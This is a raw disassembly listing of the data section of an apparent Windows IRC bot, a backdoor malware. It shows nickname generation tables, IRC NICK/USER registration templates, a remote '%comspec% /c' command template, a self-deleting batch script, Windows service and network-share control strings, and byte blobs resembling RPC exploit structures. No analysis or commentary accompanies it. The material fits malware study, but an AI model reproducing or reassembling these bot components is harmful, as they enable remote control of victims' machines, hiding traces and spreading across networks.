		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset word_594F42	; DATA XREF: ___:00438BB8o
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
